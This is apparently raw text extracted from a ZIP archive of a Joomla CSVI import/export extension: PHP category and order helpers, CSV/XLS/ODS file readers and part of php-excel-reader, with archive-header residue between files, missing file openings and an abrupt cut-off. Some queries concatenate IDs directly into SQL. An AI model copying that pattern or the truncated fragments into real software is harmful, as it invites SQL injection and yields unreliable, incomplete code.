2. Group categories based on their parent_id $categories = array(); foreach ($rawcats as $key => $rawcat) { $categories[$rawcat->parent_id][$rawcat->id]['pid'] = $rawcat->parent_id; $categories[$rawcat->parent_id][$rawcat->id]['cid'] = $rawcat->id; $categories[$rawcat->parent_id][$rawcat->id]['catname'] = $rawcat->catname; } if (count($rawcats) > 10) $categorysize = 10; else $categorysize = count($rawcats)+1; } $this->_options = array(); // Add a don't use option $this->_options[] = JHtml::_('select.option', '', JText::_('COM_CSVI_EXPORT_DONT_USE')); if (isset($categories)) { if (count($categories) > 0) { // Take the toplevels first foreach ($categories[0] as $key => $category) { $this->_options[] = JHtml::_('select.option', $category['cid'], $category['catname']); // Write the subcategories $suboptions = $this->buildCategory($categories, $category['cid'], array()); } } } return $this->_options; } /** * Create the subcategory layout * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return array select options for the category tree * @since 3.0 */ private function buildCategory($cattree, $catfilter, $subcats, $loop=1) { if (isset($cattree[$catfilter])) { foreach ($cattree[$catfilter] as $subcatid => $category) { $this->_options[] = JHtml::_('select.option', $category['cid'], str_repeat('>', $loop).' '.$category['catname']); $subcats = $this->buildCategory($cattree, $subcatid, $subcats, $loop+1); } } } /** * Construct the category path * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 4.0 */ private function constructCategoryPath($catids) { $catpaths = array(); if (is_array($catids)) { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); // Load the category separator if (is_null($this->_catsep)) { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $this->_catsep = $template->get('category_separator', 'general', '/'); } // Get the paths foreach ($catids as $category_id) { // Create the path $paths = array(); while ($category_id > 0) { $query = $db->getQuery(true); $query->select('category_parent_id, l.category_name'); $query->from('#__virtuemart_category_categories x'); $query->leftJoin('#__virtuemart_categories c ON x.category_child_id = c.virtuemart_category_id'); $query->leftJoin('#__virtuemart_categories_'.$template->get('language', 'general').' l ON x.category_child_id = l.virtuemart_category_id'); $query->where('category_child_id = '.$category_id); $db->setQuery($query); $path = $db->loadObject(); $csvilog->addDebug('Get cat ID'.$category_id, true); // $catpaths[] = $this->_getJoomFishCategory($category_id, trim($path->category_name)); if (is_object($path)) { $paths[] = $path->category_name; $category_id = $path->category_parent_id; } else { $csvilog->addDebug('COM_CSVI_CANNOT_GET_CATEGORY_ID'); $csvilog->AddStats('incorrect', 'COM_CSVI_CANNOT_GET_CATEGORY_ID'); return ''; } } // Create the path $paths = array_reverse($paths); $catpaths[] = implode($this->_catsep, $paths); } } return $catpaths; } /** * Creates the category path based on a category ID * * @copyright * @author RolandD * @todo * @see * @access protected * @param int $category_id the ID to create the category path from * @return string the category path * @since 3.0 */ public function createCategoryPath($product_id, $id=false) { $db = JFactory::getDbo(); // Get the category paths $query = $db->getQuery(true); $query->select($db->quoteName('virtuemart_category_id')); $query->from($db->quoteName('#__virtuemart_product_categories')); $query->where($db->quoteName('virtuemart_product_id').' = '.$db->quote($product_id)); $db->setQuery($query); $catids = $db->loadColumn(); if (!empty($catids)) { // Return the paths if ($id) { $result = $db->loadResultArray(); if (is_array($result)) return implode('|', $result); else return null; } else { $catpaths = $this->constructCategoryPath($catids); if (is_array($catpaths)) return implode('|', $catpaths); else return null; } } else return null; } /** * Create a category path based on ID * * @copyright * @author RolandD * @todo * @see * @access public * @param $catids array list of IDs to generate category path for * @return * @since 4.0 */ public function createCategoryPathById($catids) { if (!is_array($catids)) $catids = (array)$catids; $paths = $this->constructCategoryPath($catids); if (is_array($paths)) return implode('|', $paths); else return ''; } /** * Get the category ID for a product * * @copyright * @author RolandD * @todo * @see * @access protected * @param int $product_id the product ID to get the category for * @return int the category ID the product is linked to limited to 1 * @since 3.0 */ public function getCategoryId($product_id) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('virtuemart_category_id'); $query->from('#__virtuemart_product_categories'); $query->where('virtuemart_product_id = '.$product_id); $db->setQuery($query, 0, 1); return $db->loadResult(); } /** * Determine the shipping cost * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.5 */ public function shippingCost($product_price) { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $prices = $template->get('shopper_shipping_export_fields', '', array()); $fee = null; if (!empty($prices)) { foreach ($prices['_price_from'] as $kfrom => $price_from) { // Check if we have an end price $price_from = str_replace(',', '.', $price_from); $price_to = str_replace(',', '.', $prices['_price_to'][$kfrom]); if (!empty($price_to)) { if ($product_price >= $price_from && $product_price < $price_to) { $fee = $kfrom; break; } } else { if ($product_price >= $price_from) { $fee = $kfrom; break; } } } } if (!is_null($fee)) return $prices['_fee'][$fee]; else return false; } /** * Get the list of order users * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of objects * @since 4.0 */ public function getOrderUser() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $query = $db->getQuery(true); $filter = $jinput->get('filter'); $q = "SELECT DISTINCT virtuemart_user_id AS user_id, IF (LENGTH(TRIM(CONCAT(first_name, ' ', middle_name, ' ', last_name))) = 0, '".JText::_('COM_CSVI_EXPORT_ORDER_USER_EMPTY')."', IF (TRIM(CONCAT(first_name, ' ', middle_name, ' ', last_name)) is NULL, '".JText::_('COM_CSVI_EXPORT_ORDER_USER_EMPTY')."', CONCAT(first_name, ' ', middle_name, ' ', last_name))) AS user_name FROM #__virtuemart_order_userinfos WHERE (first_name LIKE ".$db->Quote('%'.$filter.'%')." OR middle_name LIKE ".$db->Quote('%'.$filter.'%')." OR last_name LIKE ".$db->Quote('%'.$filter.'%').") ORDER BY user_name LIMIT 10;"; $db->setQuery($q); return $db->loadObjectList(); } /** * Get the list of order products * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of objects * @since 4.0 */ public function getOrderProduct() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $query = $db->getQuery(true); $filter = $jinput->get('filter'); $q = "SELECT DISTINCT order_item_sku AS product_sku, order_item_name AS product_name FROM #__virtuemart_order_items o WHERE (order_item_sku LIKE ".$db->Quote('%'.$filter.'%')." OR order_item_name LIKE ".$db->Quote('%'.$filter.'%').") ORDER BY order_item_name LIMIT 10;"; $db->setQuery($q); return $db->loadObjectList(); } /** * Get the list of order item products * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of objects * @since 4.0 */ public function getOrderItemProduct() { $db = JFactory::getDBO(); $filter = JRequest::getVar('filter'); $q = "SELECT DISTINCT order_item_sku AS product_sku, order_item_name AS product_name FROM #__virtuemart_order_items o WHERE (o.order_item_sku LIKE ".$db->Quote('%'.$filter.'%')." OR o.order_item_name LIKE ".$db->Quote('%'.$filter.'%').") ORDER BY order_item_name LIMIT 10;"; $db->setQuery($q); return $db->loadObjectList(); } } ?>PKs>\Ai$$$com_csvi/helpers/file/import/csv.phpnuW+Ainput; // Column headers are always the first line of the file // 1. Store current position $curpos = $this->getFilePos(); if ($curpos > 0) { // 2. Go to the beginning of the file $this->setFilePos(0); } // 3. Read the line $jinput->set('columnheaders', $this->ReadNextLine()); if ($curpos > 0) { // 4. Set the position back $this->setFilePos($curpos); } $this->linepointer++; return true; } /** * Get the file position * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return int current position in the file * @since 3.0 */ public function getFilePos() { return ftell($this->fp); } /** * Set the file position * * @copyright * @author RolandD * @todo * @see * @access public * @param int $pos the position to move to * @return int 0 if success | -1 if not success * @since 3.0 */ public function setFilePos($pos) { return fseek($this->fp, $pos); } /** * Close the file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function closeFile($removefolder=true) { fclose($this->fp); $this->_closed = true; parent::closeFile($removefolder); } /** * Read the next line in the file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array with the line of data read | false if data cannot be read * @since 3.0 */ public function readNextLine() { // Check if the file is still open if ($this->_closed) return; // Make sure we have delimiters if (is_null($this->_field_delimiter)) return false; // Load some settings $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $csvilog = $jinput->get('csvilog', null, null); $newdata = array(); // Ignore empty records $csvdata = array(0=>''); while (is_array($csvdata) && count($csvdata)==1 && $csvdata[0]=='') { if (!is_null($this->_text_enclosure)) $csvdata = fgetcsv($this->fp, 0, $this->_field_delimiter, $this->_text_enclosure); else $csvdata = fgetcsv($this->fp, 0, $this->_field_delimiter); } // Check if we can read the line correctly if (count($csvdata) == 1 && !$this->_checked_delimiter) { $current_field = $this->_field_delimiter; $current_text = $this->_text_enclosure; $this->_findDelimiters(true); if ($template->show_preview) { if ($current_field != $this->_field_delimiter) JError::raiseNotice(0, JText::sprintf('COM_CSVI_UNEQUAL_FIELD_DELIMITER', $current_field, $this->_field_delimiter)); if ($current_text != $this->_text_enclosure) JError::raiseNotice(0, JText::sprintf('COM_CSVI_UNEQUAL_TEXT_ENCLOSURE', $current_text, $this->_text_enclosure)); } else { if ($current_field != $this->_field_delimiter) $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_UNEQUAL_FIELD_DELIMITER', $current_field, $this->_field_delimiter)); if ($current_text != $this->_text_enclosure) $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_UNEQUAL_FIELD_DELIMITER', $current_field, $this->_field_delimiter)); } $this->_field_delimiter = $current_field; $this->_text_enclosure = $current_text; } if ($csvdata) { // Do BOM check if ($jinput->get('currentline', 0, 'int') == 1 || is_null($jinput->get('currentline', null, null))) { // Remove text delimiters as they are not recognized by fgetcsv $csvdata[0] = $this->_removeTextDelimiters($this->_checkBom($csvdata[0])); } $this->linepointer++; return $csvdata; } else return false; } /** * Process the file to import * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function processFile() { // Open the csv file $this->fp = fopen($this->filename, "r"); $this->_closed = false; // Load the delimiters $this->_findDelimiters(); return true; } /** * Find the delimiters used * * @copyright * @author RolandD * @todo * @see * @access private * @param bool $force Force to read the delimiters from the imported file * @return bool true if delimiters found | false if delimiters not found * @since 3.0 */ private function _findDelimiters($force=false) { $jinput = JFactory::getApplication()->input; if (!$this->_checked_delimiter) { $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); if (!$template->get('auto_detect_delimiters', 'general', true) && !$force) { // Set the field delimiter if (strtolower($template->get('field_delimiter', 'general')) == 't') $this->_field_delimiter = "\t"; else $this->_field_delimiter = $template->get('field_delimiter', 'general'); // Set the text enclosure $this->_text_enclosure = ($template->get('text_enclosure', 'general', '')) ? $template->get('text_enclosure', 'general') : null; } else { // Read the first line rewind($this->fp); $line = fgets($this->fp); // 1. Is the user using text enclosures $first_char = substr($line, 0, 1); $pattern = '/[a-zA-Z0-9_]/'; $matches = array(); preg_match($pattern, $first_char, $matches); if (count($matches) == 0) { // User is using text delimiter $this->_text_enclosure = $first_char; $csvilog->addDebug(JText::sprintf('COM_CSVI_FOUND_TEXT_ENCLOSURE', $first_char)); // 2. What field delimiter is being used $match_next_char = strpos($line, $this->_text_enclosure, 1); $second_char = substr($line, $match_next_char+1, 1); if ($first_char == $second_char) { $jinput->set('error_found', true); JError::raiseWarning(0, JText::_('COM_CSVI_CANNOT_FIND_TEXT_DELIMITER')); return false; } else { $this->_field_delimiter = $second_char; } } else { $totalchars = strlen($line); // 2. What field delimiter is being used for ($i = 0;$i <= $totalchars; $i++) { $current_char = substr($line, $i, 1); preg_match($pattern, $current_char, $matches); if (count($matches) == 0) { $this->_field_delimiter = $current_char; $i = $totalchars; } } } $csvilog->addDebug(JText::sprintf('COM_CSVI_FOUND_FIELD_DELIMITER', $this->_field_delimiter)); rewind($this->fp); } $this->_checked_delimiter = true; } return true; } /** * Checks if the uploaded file has a BOM * * If the uploaded file has a BOM, remove it since it only causes * problems on import. * * @copyright * @author RolandD * @todo * @see ReadNextLine() * @access private * @param string $data the string to check for a BOM * @return string return the cleaned string * @since 3.0 */ private function _checkBom($data) { // Check the first three characters if (strlen($data) > 3) { if (ord($data{0}) == 239 && ord($data{1}) == 187 && ord($data{2}) == 191) { return substr($data, 3, strlen($data)); } else return $data; } else return $data; } /** * Removes the text delimiters when fgetcsv() has failed to do so because the file contains a BOM. * This allows for the possibility that the data value contains embedded text enclosure characters * (which should be doubled up for correct csv file format). * The string [32" TV] (ignore brackets) should be encoded as ["32"" TV"] * This function correctly decodes ["32"" TV"] back to [32" TV] * * @copyright * @author doorknob * @todo * @see * @access private * @param string $data the string to clean * @return string the cleaned string * @since */ private function _removeTextDelimiters($data) { if( substr($data, 0, 1) == $this->_text_enclosure && substr($data, -1, 1) == $this->_text_enclosure ) { return str_replace($this->_text_enclosure.$this->_text_enclosure, $this->_text_enclosure, substr($data, 1, -1)); } else { return $data; } } /** * Sets the file pointer back to beginning * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function rewind() { $this->setFilePos(0); } } ?> PKs>\ $com_csvi/helpers/file/import/xls.phpnuW+Adata[0]['numRows']; } /** * Load the column headers from a file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return bool true * @since 3.0 */ public function loadColumnHeaders() { $jinput = JFactory::getApplication()->input; // Make sure we include the empty fields for ($i=1; $i<=$this->data[0]['numCols']; $i++) { if (!isset($this->data[0]['cells'][1])) $this->data[0]['cells'][1][$i] = ''; } $headers = array_values($this->data[0]['cells'][1]); $jinput->set('columnheaders', $headers); $this->linepointer++; return true; } /** * Get the file position * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return int current position in the file * @since 3.0 */ public function getFilePos() { return $this->linepointer; } /** * Set the file position * * @copyright * @author RolandD * @todo * @see * @access public * @param int $pos the position to move to * @return int current position in the file * @since 3.0 */ public function setFilePos($pos) { $this->linepointer = $pos; return $this->linepointer; } /** * Read the next line in the file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array with the line of data read | false if data cannot be read * @since 3.0 */ public function readNextLine() { if ($this->data[0]['numRows'] >= $this->linepointer) { $newdata = array(); // Make sure we include the empty fields for ($i=1; $i <= $this->data[0]['numCols']; $i++) { if (!isset($this->data[0]['cells'][$this->linepointer][$i])) $newdata[] = ''; else $newdata[] = $this->data[0]['cells'][$this->linepointer][$i]; } $this->linepointer++; return $newdata; } else return false; } /** * Process the file to import * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function processFile() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $this->fp = true; $this->data = new Spreadsheet_Excel_Reader($this->filename, false); $this->data = $this->data->sheets; return true; } /** * Sets the file pointer back to beginning * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function rewind() { $this->setFilePos(1); } } ?> PKs>\҂$com_csvi/helpers/file/import/ods.phpnuW+Adata->rows; } /** * Load the column headers from a file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return bool true * @since 3.0 */ public function loadColumnHeaders() { $jinput = JFactory::getApplication()->input; $jinput->set('columnheaders', $this->data->_data[1]); $this->linepointer++; return true; } /** * Get the file position * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return int current position in the file * @since 3.0 */ public function getFilePos() { return $this->linepointer; } /** * Set the file position * * @copyright * @author RolandD * @todo * @see * @access public * @param int $pos the position to move to * @return int current position in the file * @since 3.0 */ public function setFilePos($pos) { $this->linepointer = $pos; return $this->linepointer; } /** * Read the next line in the file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array with the line of data read | false if data cannot be read * @since 3.0 */ public function readNextLine() { if ($this->data->rows >= $this->linepointer) { $newdata = array(); $newdata = $this->data->_data[$this->linepointer]; $this->linepointer++; return $newdata; } else return false; } /** * Process the file to import * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function processFile() { if (!$this->_unpacked) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); jimport('joomla.filesystem.file'); jimport('joomla.filesystem.archive'); $this->fp = true; $this->linepointer = 1; $this->data = new ODSParser(); // First we need to unpack the zipfile $unpackfile = $this->_unpackpath.'/ods/'.basename($this->filename).'.zip'; $importfile = $this->_unpackpath.'/ods/content.xml'; // Check the unpack folder JFolder::create($this->_unpackpath.'/ods'); // Delete the destination file if it already exists if (JFile::exists($unpackfile)) JFile::delete($unpackfile); if (JFile::exists($importfile)) JFile::delete($importfile); // Now copy the file to the folder JFile::copy($this->filename, $unpackfile); // Extract the files in the folder if (!JArchive::extract($unpackfile, $this->_unpackpath.'/ods')) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_CANNOT_UNPACK_ODS_FILE')); return false; } // File is always called content.xml else $this->filename = $importfile; // Read the data to process if (!$this->data->read($this->filename)) return false; // Set the unpacked to true as we have unpacked the file $this->_unpacked = true; } // All good return true return true; } /** * Sets the file pointer back to beginning * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function rewind() { // Set the line pointer to 1 as that is the first entry in the data array $this->setFilePos(1); } } ?> PKs>\AA.com_csvi/helpers/file/import/excel_reader2.phpnuW+A * Maintained at http://code.google.com/p/php-excel-reader/ * * Format parsing and MUCH more contributed by: * Matt Roxburgh < http://www.roxburgh.me.uk > * * DOCUMENTATION * ============= * http://code.google.com/p/php-excel-reader/wiki/Documentation * * CHANGE LOG * ========== * http://code.google.com/p/php-excel-reader/wiki/ChangeHistory * * DISCUSSION/SUPPORT * ================== * http://groups.google.com/group/php-excel-reader-discuss/topics * * -------------------------------------------------------------------------- * * Originally developed by Vadim Tkachenko under the name PHPExcelReader. * (http://sourceforge.net/projects/phpexcelreader) * Based on the Java version by Andy Khan (http://www.andykhan.com). Now * maintained by David Sanders. Reads only Biff 7 and Biff 8 formats. * * PHP versions 4 and 5 * * LICENSE: This source file is subject to version 3.0 of the PHP license * that is available through the world-wide-web at the following URI: * http://www.php.net/license/3_0.txt. If you did not receive a copy of * the PHP License and are unable to obtain it through the web, please * send a note to license@php.net so we can mail you a copy immediately. * * @category Spreadsheet * @package Spreadsheet_Excel_Reader * @author Vadim Tkachenko * @license http://www.php.net/license/3_0.txt PHP License 3.0 * @version CVS: $Id: excel_reader2.php 1456 2010-12-05 11:31:17Z RolandD $ * @link http://pear.php.net/package/Spreadsheet_Excel_Reader * @see OLE, Spreadsheet_Excel_Writer * -------------------------------------------------------------------------- */ define('NUM_BIG_BLOCK_DEPOT_BLOCKS_POS', 0x2c); define('SMALL_BLOCK_DEPOT_BLOCK_POS', 0x3c); define('ROOT_START_BLOCK_POS', 0x30); define('BIG_BLOCK_SIZE', 0x200); define('SMALL_BLOCK_SIZE', 0x40); define('EXTENSION_BLOCK_POS', 0x44); define('NUM_EXTENSION_BLOCK_POS', 0x48); define('PROPERTY_STORAGE_BLOCK_SIZE', 0x80); define('BIG_BLOCK_DEPOT_BLOCKS_POS', 0x4c); define('SMALL_BLOCK_THRESHOLD', 0x1000); // property storage offsets define('SIZE_OF_NAME_POS', 0x40); define('TYPE_POS', 0x42); define('START_BLOCK_POS', 0x74); define('SIZE_POS', 0x78); define('IDENTIFIER_OLE', pack("CCCCCCCC",0xd0,0xcf,0x11,0xe0,0xa1,0xb1,0x1a,0xe1)); function GetInt4d($data, $pos) { $value = ord($data[$pos]) | (ord($data[$pos+1]) << 8) | (ord($data[$pos+2]) << 16) | (ord($data[$pos+3]) << 24); if ($value>=4294967294) { $value=-2; } return $value; } // http://uk.php.net/manual/en/function.getdate.php function gmgetdate($ts = null){ $k = array('seconds','minutes','hours','mday','wday','mon','year','yday','weekday','month',0); return(array_combine($k,explode(":",gmdate('s:i:G:j:w:n:Y:z:l:F:U',is_null($ts)?time():$ts)))); } function v($data,$pos) { return ord($data[$pos]) | ord($data[$pos+1])<<8; } class OLERead { var $data = ''; function OLERead(){ } function read($sFileName){ // check if file exist and is readable (Darko Miljanovic) if(!is_readable($sFileName)) { $this->error = 1; return false; } $this->data = @file_get_contents($sFileName); if (!$this->data) { $this->error = 1; return false; } if (substr($this->data, 0, 8) != IDENTIFIER_OLE) { $this->error = 1; return false; } $this->numBigBlockDepotBlocks = GetInt4d($this->data, NUM_BIG_BLOCK_DEPOT_BLOCKS_POS); $this->sbdStartBlock = GetInt4d($this->data, SMALL_BLOCK_DEPOT_BLOCK_POS); $this->rootStartBlock = GetInt4d($this->data, ROOT_START_BLOCK_POS); $this->extensionBlock = GetInt4d($this->data, EXTENSION_BLOCK_POS); $this->numExtensionBlocks = GetInt4d($this->data, NUM_EXTENSION_BLOCK_POS); $bigBlockDepotBlocks = array(); $pos = BIG_BLOCK_DEPOT_BLOCKS_POS; $bbdBlocks = $this->numBigBlockDepotBlocks; if ($this->numExtensionBlocks != 0) { $bbdBlocks = (BIG_BLOCK_SIZE - BIG_BLOCK_DEPOT_BLOCKS_POS)/4; } for ($i = 0; $i < $bbdBlocks; $i++) { $bigBlockDepotBlocks[$i] = GetInt4d($this->data, $pos); $pos += 4; } for ($j = 0; $j < $this->numExtensionBlocks; $j++) { $pos = ($this->extensionBlock + 1)* BIG_BLOCK_SIZE; $blocksToRead = min($this->numBigBlockDepotBlocks - $bbdBlocks, BIG_BLOCK_SIZE / 4 - 1); for ($i = $bbdBlocks; $i < $bbdBlocks + $blocksToRead; $i++) { $bigBlockDepotBlocks[$i] = GetInt4d($this->data, $pos); $pos += 4; } $bbdBlocks += $blocksToRead; if ($bbdBlocks < $this->numBigBlockDepotBlocks) { $this->extensionBlock = GetInt4d($this->data, $pos); } } // readBigBlockDepot $pos = 0; $index = 0; $this->bigBlockChain = array(); for ($i = 0; $i < $this->numBigBlockDepotBlocks; $i++) { $pos = ($bigBlockDepotBlocks[$i] + 1)* BIG_BLOCK_SIZE; //echo "pos = $pos"; for ($j = 0 ; $j < BIG_BLOCK_SIZE / 4; $j++) { $this->bigBlockChain[$index] = GetInt4d($this->data, $pos); $pos += 4 ; $index++; } } // readSmallBlockDepot(); $pos = 0; $index = 0; $sbdBlock = $this->sbdStartBlock; $this->smallBlockChain = array(); while ($sbdBlock != -2) { $pos = ($sbdBlock + 1)* BIG_BLOCK_SIZE; for ($j = 0; $j < BIG_BLOCK_SIZE / 4; $j++) { $this->smallBlockChain[$index] = GetInt4d($this->data, $pos); $pos += 4; $index++; } $sbdBlock = $this->bigBlockChain[$sbdBlock]; } // readData(rootStartBlock) $block = $this->rootStartBlock; $pos = 0; $this->entry = $this->__readData($block); $this->__readPropertySets(); } function __readData($bl) { $block = $bl; $pos = 0; $data = ''; while ($block != -2) { $pos = ($block + 1)* BIG_BLOCK_SIZE; $data = $data.substr($this->data, $pos, BIG_BLOCK_SIZE); $block = $this->bigBlockChain[$block]; } return $data; } function __readPropertySets(){ $offset = 0; while ($offset < strlen($this->entry)) { $d = substr($this->entry, $offset, PROPERTY_STORAGE_BLOCK_SIZE); $nameSize = ord($d[SIZE_OF_NAME_POS]) | (ord($d[SIZE_OF_NAME_POS+1]) << 8); $type = ord($d[TYPE_POS]); $startBlock = GetInt4d($d, START_BLOCK_POS); $size = GetInt4d($d, SIZE_POS); $name = ''; for ($i = 0; $i < $nameSize ; $i++) { $name .= $d[$i]; } $name = str_replace("\x00", "", $name); $this->props[] = array ( 'name' => $name, 'type' => $type, 'startBlock' => $startBlock, 'size' => $size); if ((strtolower($name) == "workbook") || ( strtolower($name) == "book")) { $this->wrkbook = count($this->props) - 1; } if ($name == "Root Entry") { $this->rootentry = count($this->props) - 1; } $offset += PROPERTY_STORAGE_BLOCK_SIZE; } } function getWorkBook(){ if ($this->props[$this->wrkbook]['size'] < SMALL_BLOCK_THRESHOLD){ $rootdata = $this->__readData($this->props[$this->rootentry]['startBlock']); $streamData = ''; $block = $this->props[$this->wrkbook]['startBlock']; $pos = 0; while ($block != -2) { $pos = $block* SMALL_BLOCK_SIZE; $streamData .= substr($rootdata, $pos, SMALL_BLOCK_SIZE); $block = $this->smallBlockChain[$block]; } return $streamData; }else{ $numBlocks = $this->props[$this->wrkbook]['size'] / BIG_BLOCK_SIZE; if ($this->props[$this->wrkbook]['size'] % BIG_BLOCK_SIZE != 0) { $numBlocks++; } if ($numBlocks == 0) return ''; $streamData = ''; $block = $this->props[$this->wrkbook]['startBlock']; $pos = 0; while ($block != -2) { $pos = ($block + 1)* BIG_BLOCK_SIZE; $streamData .= substr($this->data, $pos, BIG_BLOCK_SIZE); $block = $this->bigBlockChain[$block]; } return $streamData; } } } define('SPREADSHEET_EXCEL_READER_BIFF8', 0x600); define('SPREADSHEET_EXCEL_READER_BIFF7', 0x500); define('SPREADSHEET_EXCEL_READER_WORKBOOKGLOBALS', 0x5); define('SPREADSHEET_EXCEL_READER_WORKSHEET', 0x10); define('SPREADSHEET_EXCEL_READER_TYPE_BOF', 0x809); define('SPREADSHEET_EXCEL_READER_TYPE_EOF', 0x0a); define('SPREADSHEET_EXCEL_READER_TYPE_BOUNDSHEET', 0x85); define('SPREADSHEET_EXCEL_READER_TYPE_DIMENSION', 0x200); define('SPREADSHEET_EXCEL_READER_TYPE_ROW', 0x208); define('SPREADSHEET_EXCEL_READER_TYPE_DBCELL', 0xd7); define('SPREADSHEET_EXCEL_READER_TYPE_FILEPASS', 0x2f); define('SPREADSHEET_EXCEL_READER_TYPE_NOTE', 0x1c); define('SPREADSHEET_EXCEL_READER_TYPE_TXO', 0x1b6); define('SPREADSHEET_EXCEL_READER_TYPE_RK', 0x7e); define('SPREADSHEET_EXCEL_READER_TYPE_RK2', 0x27e); define('SPREADSHEET_EXCEL_READER_TYPE_MULRK', 0xbd); define('SPREADSHEET_EXCEL_READER_TYPE_MULBLANK', 0xbe); define('SPREADSHEET_EXCEL_READER_TYPE_INDEX', 0x20b); define('SPREADSHEET_EXCEL_READER_TYPE_SST', 0xfc); define('SPREADSHEET_EXCEL_READER_TYPE_EXTSST', 0xff); define('SPREADSHEET_EXCEL_READER_TYPE_CONTINUE', 0x3c); define('SPREADSHEET_EXCEL_READER_TYPE_LABEL', 0x204); define('SPREADSHEET_EXCEL_READER_TYPE_LABELSST', 0xfd); define('SPREADSHEET_EXCEL_READER_TYPE_NUMBER', 0x203); define('SPREADSHEET_EXCEL_READER_TYPE_NAME', 0x18); define('SPREADSHEET_EXCEL_READER_TYPE_ARRAY', 0x221); define('SPREADSHEET_EXCEL_READER_TYPE_STRING', 0x207); define('SPREADSHEET_EXCEL_READER_TYPE_FORMULA', 0x406); define('SPREADSHEET_EXCEL_READER_TYPE_FORMULA2', 0x6); define('SPREADSHEET_EXCEL_READER_TYPE_FORMAT', 0x41e); define('SPREADSHEET_EXCEL_READER_TYPE_XF', 0xe0); define('SPREADSHEET_EXCEL_READER_TYPE_BOOLERR', 0x205); define('SPREADSHEET_EXCEL_READER_TYPE_FONT', 0x0031); define('SPREADSHEET_EXCEL_READER_TYPE_PALETTE', 0x0092); define('SPREADSHEET_EXCEL_READER_TYPE_UNKNOWN', 0xffff); define('SPREADSHEET_EXCEL_READER_TYPE_NINETEENFOUR', 0x22); define('SPREADSHEET_EXCEL_READER_TYPE_MERGEDCELLS', 0xE5); define('SPREADSHEET_EXCEL_READER_UTCOFFSETDAYS' , 25569); define('SPREADSHEET_EXCEL_READER_UTCOFFSETDAYS1904', 24107); define('SPREADSHEET_EXCEL_READER_MSINADAY', 86400); define('SPREADSHEET_EXCEL_READER_TYPE_HYPER', 0x01b8); define('SPREADSHEET_EXCEL_READER_TYPE_COLINFO', 0x7d); define('SPREADSHEET_EXCEL_READER_TYPE_DEFCOLWIDTH', 0x55); define('SPREADSHEET_EXCEL_READER_TYPE_STANDARDWIDTH', 0x99); define('SPREADSHEET_EXCEL_READER_DEF_NUM_FORMAT', "%s"); /* * Main Class */ class Spreadsheet_Excel_Reader { // MK: Added to make data retrieval easier var $colnames = array(); var $colindexes = array(); var $standardColWidth = 0; var $defaultColWidth = 0; function myHex($d) { if ($d < 16) return "0" . dechex($d); return dechex($d); } function dumpHexData($data, $pos, $length) { $info = ""; for ($i = 0; $i <= $length; $i++) { $info .= ($i==0?"":" ") . $this->myHex(ord($data[$pos + $i])) . (ord($data[$pos + $i])>31? "[" . $data[$pos + $i] . "]":''); } return $info; } function getCol($col) { if (is_string($col)) { $col = strtolower($col); if (array_key_exists($col,$this->colnames)) { $col = $this->colnames[$col]; } } return $col; } // PUBLIC API FUNCTIONS // -------------------- function val($row,$col,$sheet=0) { $col = $this->getCol($col); if (array_key_exists($row,$this->sheets[$sheet]['cells']) && array_key_exists($col,$this->sheets[$sheet]['cells'][$row])) { return $this->sheets[$sheet]['cells'][$row][$col]; } return ""; } function value($row,$col,$sheet=0) { return $this->val($row,$col,$sheet); } function info($row,$col,$type='',$sheet=0) { $col = $this->getCol($col); if (array_key_exists('cellsInfo',$this->sheets[$sheet]) && array_key_exists($row,$this->sheets[$sheet]['cellsInfo']) && array_key_exists($col,$this->sheets[$sheet]['cellsInfo'][$row]) && array_key_exists($type,$this->sheets[$sheet]['cellsInfo'][$row][$col])) { return $this->sheets[$sheet]['cellsInfo'][$row][$col][$type]; } return ""; } function type($row,$col,$sheet=0) { return $this->info($row,$col,'type',$sheet); } function raw($row,$col,$sheet=0) { return $this->info($row,$col,'raw',$sheet); } function rowspan($row,$col,$sheet=0) { $val = $this->info($row,$col,'rowspan',$sheet); if ($val=="") { return 1; } return $val; } function colspan($row,$col,$sheet=0) { $val = $this->info($row,$col,'colspan',$sheet); if ($val=="") { return 1; } return $val; } function hyperlink($row,$col,$sheet=0) { $link = $this->sheets[$sheet]['cellsInfo'][$row][$col]['hyperlink']; if ($link) { return $link['link']; } return ''; } function rowcount($sheet=0) { return $this->sheets[$sheet]['numRows']; } function colcount($sheet=0) { return $this->sheets[$sheet]['numCols']; } function colwidth($col,$sheet=0) { // Col width is actually the width of the number 0. So we have to estimate and come close return $this->colInfo[$sheet][$col]['width']/9142*200; } function 